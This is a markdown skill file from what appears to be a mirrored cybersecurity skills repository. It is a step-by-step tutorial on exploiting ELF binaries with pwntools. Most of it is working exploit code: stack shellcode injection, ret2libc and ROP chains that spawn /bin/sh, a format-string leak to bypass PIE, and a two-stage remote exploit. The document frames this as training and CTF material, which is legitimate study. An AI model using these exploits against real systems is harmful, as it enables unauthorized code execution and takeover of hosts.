mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 06:04:56 +03:00
efca3ec611
Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions) based on subdomain and content analysis. Restores 11 skills corrupted during prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields. All 754 skills now carry structured mappings for all 5 security frameworks: - MITRE ATT&CK (in tags) - MITRE ATLAS v5.5 (atlas_techniques) - MITRE D3FEND v1.3 (d3fend_techniques) - NIST AI RMF 1.0 (nist_ai_rmf) - NIST CSF 2.0 (nist_csf)
454 lines
14 KiB
Markdown
454 lines
14 KiB
Markdown
---
|
|
name: performing-binary-exploitation-analysis
|
|
description: 'Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library.
|
|
Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.
|
|
|
|
'
|
|
domain: cybersecurity
|
|
subdomain: offensive-security
|
|
tags:
|
|
- binary-exploitation
|
|
- pwntools
|
|
- rop-chains
|
|
- buffer-overflow
|
|
version: '1.0'
|
|
author: mahipal
|
|
license: Apache-2.0
|
|
nist_csf:
|
|
- ID.RA-01
|
|
- GV.OV-02
|
|
- DE.AE-07
|
|
---
|
|
|
|
# Performing Binary Exploitation Analysis
|
|
|
|
**For authorized security testing and CTF challenges only.**
|
|
|
|
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
|
|
and pwntools for buffer overflow and ROP chain development.
|
|
|
|
## When to Use
|
|
|
|
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
|
|
- Solving binary exploitation challenges in CTF competitions
|
|
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
|
|
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
|
|
- Training security engineers in exploit development techniques for defensive awareness
|
|
- Validating that security patches for buffer overflow vulnerabilities are effective
|
|
|
|
**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
|
|
|
|
## Prerequisites
|
|
|
|
- Linux system (Ubuntu/Debian recommended) for exploit development
|
|
- Python 3.8+ with `pwntools` (`pip install pwntools`)
|
|
- GDB with `pwndbg` or `GEF` plugin for enhanced debugging
|
|
- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)
|
|
- `checksec` (included with pwntools or standalone via `apt install checksec`)
|
|
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
|
|
- Basic understanding of x86/x86_64 calling conventions and stack layout
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Install the Exploitation Toolkit
|
|
|
|
```bash
|
|
# Install pwntools and dependencies
|
|
pip install pwntools ROPgadget
|
|
|
|
# Install GDB with pwndbg plugin
|
|
git clone https://github.com/pwndbg/pwndbg
|
|
cd pwndbg && ./setup.sh
|
|
|
|
# Alternatively, install GEF (GDB Enhanced Features)
|
|
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
|
|
|
|
# Install supporting tools
|
|
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
|
|
|
|
# Verify installation
|
|
python3 -c "from pwn import *; print('pwntools version:', version)"
|
|
checksec --version
|
|
ROPgadget --version
|
|
```
|
|
|
|
### Step 2: Analyze Binary Protections with checksec
|
|
|
|
Before writing any exploit, enumerate the security mitigations compiled into the binary:
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
# Load the target binary
|
|
binary_path = "./vulnerable_server"
|
|
elf = ELF(binary_path)
|
|
|
|
# checksec output explains what mitigations are in place
|
|
print(f"Architecture: {elf.arch}")
|
|
print(f"Bits: {elf.bits}")
|
|
print(f"Endianness: {elf.endian}")
|
|
print()
|
|
|
|
# Key security properties
|
|
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
|
|
# Stack Canary: Detects stack buffer overflows via random canary value
|
|
# NX (No-eXecute): Prevents executing code on the stack (DEP)
|
|
# PIE: Position Independent Executable, randomizes base address
|
|
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
|
|
|
|
# Also available via command line:
|
|
# checksec --file=./vulnerable_server
|
|
```
|
|
|
|
```bash
|
|
# Command-line checksec output example:
|
|
checksec --file=./vulnerable_server
|
|
# RELRO STACK CANARY NX PIE
|
|
# Partial RELRO No canary found NX disabled No PIE
|
|
|
|
# Check ASLR status on the system
|
|
cat /proc/sys/kernel/randomize_va_space
|
|
# 0 = disabled, 1 = conservative, 2 = full randomization
|
|
```
|
|
|
|
### Step 3: Find the Buffer Overflow Offset
|
|
|
|
Determine exactly how many bytes are needed to overwrite the return address:
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
context.binary = ELF("./vulnerable_server")
|
|
context.log_level = "info"
|
|
|
|
# Method 1: Use cyclic pattern to find exact offset
|
|
# Generate a unique cyclic pattern
|
|
pattern_length = 200
|
|
pattern = cyclic(pattern_length)
|
|
print(f"Generated cyclic pattern of length {pattern_length}")
|
|
|
|
# Send the pattern to the binary
|
|
p = process("./vulnerable_server")
|
|
p.sendline(pattern)
|
|
p.wait()
|
|
|
|
# After the crash, read the value in RIP/EIP from core dump or GDB
|
|
# Then find the offset:
|
|
# For 64-bit: crashed_value = p.corefile.fault_addr
|
|
# Or manually from GDB: "info registers rip" after crash
|
|
crashed_rip = 0x6161616c # Example value from crash
|
|
offset = cyclic_find(crashed_rip)
|
|
print(f"Offset to return address: {offset} bytes")
|
|
|
|
# Method 2: Use GDB with pwndbg to find offset interactively
|
|
# In GDB:
|
|
# pwndbg> cyclic 200
|
|
# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
|
|
# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
|
|
```
|
|
|
|
### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
|
|
|
|
When NX is disabled, inject and execute shellcode directly on the stack:
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
# Configuration
|
|
binary_path = "./vulnerable_server"
|
|
context.binary = ELF(binary_path)
|
|
context.arch = "amd64" # or "i386" for 32-bit
|
|
|
|
OFFSET = 72 # Determined in Step 3
|
|
|
|
# Generate shellcode
|
|
# execve("/bin/sh", NULL, NULL) - spawn a shell
|
|
shellcode = asm(shellcraft.sh())
|
|
print(f"Shellcode length: {len(shellcode)} bytes")
|
|
|
|
# Build the exploit payload
|
|
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
|
|
nop_sled = asm("nop") * 32
|
|
|
|
# For a local exploit without ASLR, we can estimate the buffer address
|
|
# Run in GDB first to find the buffer address:
|
|
# break *main+XX (after read/gets call)
|
|
# x/20x $rsp
|
|
buffer_addr = 0x7fffffffe000 # Example - get from GDB
|
|
|
|
padding_len = OFFSET - len(nop_sled) - len(shellcode)
|
|
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
|
|
|
|
# Launch exploit
|
|
p = process(binary_path)
|
|
p.sendline(payload)
|
|
p.interactive() # Interact with the spawned shell
|
|
```
|
|
|
|
### Step 5: Build a ROP Chain (NX Enabled)
|
|
|
|
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
|
|
|
|
```bash
|
|
# Find ROP gadgets in the binary
|
|
ROPgadget --binary ./vulnerable_server
|
|
|
|
# Find specific gadgets
|
|
ROPgadget --binary ./vulnerable_server --only "pop|ret"
|
|
ROPgadget --binary ./vulnerable_server --only "mov|ret"
|
|
|
|
# Search for gadgets to control registers for syscall
|
|
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
|
|
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
|
|
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
|
|
ROPgadget --binary ./vulnerable_server | grep "syscall"
|
|
|
|
# Find gadgets in libc (for ret2libc attacks)
|
|
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
|
|
```
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
binary_path = "./vulnerable_server"
|
|
elf = ELF(binary_path)
|
|
context.binary = elf
|
|
|
|
OFFSET = 72
|
|
|
|
# Method 1: ret2libc - call system("/bin/sh") via libc
|
|
# When the binary is dynamically linked and we know libc version
|
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
|
|
|
# Start process to leak libc address
|
|
p = process(binary_path)
|
|
|
|
# If there is a format string or info leak, use it to find libc base
|
|
# Example: binary prints puts@GOT address
|
|
p.recvuntil(b"puts address: ")
|
|
puts_leak = int(p.recvline().strip(), 16)
|
|
libc.address = puts_leak - libc.symbols["puts"]
|
|
log.success(f"libc base: {hex(libc.address)}")
|
|
|
|
# Find a "pop rdi; ret" gadget for x86_64 calling convention
|
|
# First argument goes in RDI register
|
|
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
|
|
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment
|
|
|
|
# Build the ROP chain: system("/bin/sh")
|
|
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
|
|
system_addr = libc.symbols["system"]
|
|
|
|
rop_chain = flat(
|
|
b"A" * OFFSET, # Padding to reach return address
|
|
ret_gadget, # Stack alignment (needed for movaps in system)
|
|
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
|
|
bin_sh_addr, # Address of "/bin/sh" string in libc
|
|
system_addr, # Call system()
|
|
)
|
|
|
|
p.sendline(rop_chain)
|
|
p.interactive()
|
|
```
|
|
|
|
### Step 6: Use pwntools ROP Helper for Automated Chain Building
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
binary_path = "./vulnerable_server"
|
|
elf = ELF(binary_path)
|
|
context.binary = elf
|
|
|
|
OFFSET = 72
|
|
|
|
# pwntools automatic ROP chain builder
|
|
rop = ROP(elf)
|
|
|
|
# If the binary has enough gadgets, pwntools can build chains automatically
|
|
# For execve("/bin/sh", 0, 0) syscall:
|
|
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
|
|
rop.call(elf.symbols["main"]) # Return to main for second stage
|
|
|
|
# Print the ROP chain for debugging
|
|
print(rop.dump())
|
|
|
|
# Build first-stage payload (leak libc)
|
|
stage1 = flat(
|
|
b"A" * OFFSET,
|
|
rop.chain()
|
|
)
|
|
|
|
p = process(binary_path)
|
|
p.sendline(stage1)
|
|
|
|
# Parse the leaked puts address
|
|
p.recvuntil(b"\n") # Skip program output
|
|
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
|
|
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
|
|
|
|
# Calculate libc base
|
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
|
libc.address = leaked_puts - libc.symbols["puts"]
|
|
log.success(f"libc base: {hex(libc.address)}")
|
|
|
|
# Build second-stage ROP chain using libc gadgets
|
|
rop2 = ROP(libc)
|
|
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
|
|
|
|
stage2 = flat(
|
|
b"A" * OFFSET,
|
|
rop2.chain()
|
|
)
|
|
|
|
p.sendline(stage2)
|
|
p.interactive()
|
|
```
|
|
|
|
### Step 7: Debug Exploits with GDB and pwndbg
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
binary_path = "./vulnerable_server"
|
|
elf = ELF(binary_path)
|
|
context.binary = elf
|
|
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]
|
|
|
|
# Launch binary under GDB with pwndbg
|
|
p = gdb.debug(binary_path, """
|
|
# Set breakpoints at key locations
|
|
break *main
|
|
break *main+85
|
|
|
|
# Continue to the vulnerable function
|
|
continue
|
|
""")
|
|
|
|
# GDB commands useful during exploit development:
|
|
# pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
|
|
# pwndbg> checksec - Show binary protections
|
|
# pwndbg> search -s "/bin/sh" - Find string in memory
|
|
# pwndbg> rop --grep "pop rdi" - Search for gadgets
|
|
# pwndbg> cyclic 200 - Generate cyclic pattern
|
|
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
|
|
# pwndbg> telescope $rsp 20 - Show stack contents
|
|
# pwndbg> x/20gx $rsp - Examine stack as 64-bit values
|
|
# pwndbg> heap - Analyze heap state
|
|
# pwndbg> got - Show GOT entries and resolved addresses
|
|
# pwndbg> plt - Show PLT entries
|
|
|
|
OFFSET = 72
|
|
payload = b"A" * OFFSET + p64(0xdeadbeef)
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
|
|
### Step 8: Handle PIE and ASLR with Information Leaks
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
binary_path = "./vulnerable_pie_binary"
|
|
elf = ELF(binary_path)
|
|
context.binary = elf
|
|
|
|
# When PIE is enabled, we need to leak a code address to defeat randomization
|
|
# Common leak techniques:
|
|
# 1. Format string vulnerability: %p to leak stack/code pointers
|
|
# 2. Partial overwrite: overwrite only lower bytes of a pointer
|
|
# 3. Uninitialized memory: read stack memory containing code pointers
|
|
|
|
p = process(binary_path)
|
|
|
|
# Example: Using a format string leak to defeat PIE
|
|
# If the binary has a printf(user_input) vulnerability:
|
|
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
|
|
leak_output = p.recvline().strip().decode()
|
|
leaked_addrs = leak_output.split(".")
|
|
|
|
# Parse leaked addresses to find a code pointer
|
|
for i, addr in enumerate(leaked_addrs):
|
|
try:
|
|
val = int(addr, 16)
|
|
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
|
|
if 0x550000000000 <= val <= 0x560000000000:
|
|
log.info(f"Offset {i}: {addr} (likely PIE code address)")
|
|
# libc addresses typically at 0x7fXXXXXXXXXX
|
|
elif 0x7f0000000000 <= val <= 0x800000000000:
|
|
log.info(f"Offset {i}: {addr} (likely libc address)")
|
|
except ValueError:
|
|
continue
|
|
|
|
# Once we have a leaked PIE address, calculate the binary base
|
|
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
|
|
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
|
|
log.success(f"PIE base: {hex(elf.address)}")
|
|
|
|
# Now we can use absolute addresses in our ROP chain
|
|
rop = ROP(elf)
|
|
# ... build chain using elf.symbols which are now correctly rebased
|
|
```
|
|
|
|
### Step 9: Exploit a Remote Target
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
# Configuration
|
|
REMOTE_HOST = "target.ctf.example.com"
|
|
REMOTE_PORT = 9001
|
|
binary_path = "./vulnerable_server"
|
|
|
|
elf = ELF(binary_path)
|
|
context.binary = elf
|
|
|
|
def exploit(target):
|
|
"""Run the full exploit chain against a target (local or remote)."""
|
|
OFFSET = 72
|
|
|
|
# Stage 1: Leak libc
|
|
rop1 = ROP(elf)
|
|
rop1.call("puts", [elf.got["puts"]])
|
|
rop1.call(elf.symbols["main"])
|
|
|
|
payload1 = flat(b"A" * OFFSET, rop1.chain())
|
|
target.sendlineafter(b"Input: ", payload1)
|
|
|
|
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
|
|
log.success(f"Leaked puts: {hex(leaked)}")
|
|
|
|
# Stage 2: ret2libc
|
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
|
libc.address = leaked - libc.symbols["puts"]
|
|
|
|
rop2 = ROP(libc)
|
|
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
|
|
|
|
payload2 = flat(b"A" * OFFSET, rop2.chain())
|
|
target.sendlineafter(b"Input: ", payload2)
|
|
|
|
target.interactive()
|
|
|
|
# Test locally first
|
|
log.info("Testing exploit locally...")
|
|
local = process(binary_path)
|
|
exploit(local)
|
|
|
|
# Then run against remote target
|
|
# log.info("Running exploit against remote target...")
|
|
# remote = remote(REMOTE_HOST, REMOTE_PORT)
|
|
# exploit(remote)
|
|
```
|
|
|
|
## Verification
|
|
|
|
- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
|
|
- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP/EIP contains the expected cyclic value
|
|
- Test shellcode payloads execute correctly in a controlled environment with NX disabled
|
|
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
|
|
- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used
|
|
- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses
|
|
- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
|
|
- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
|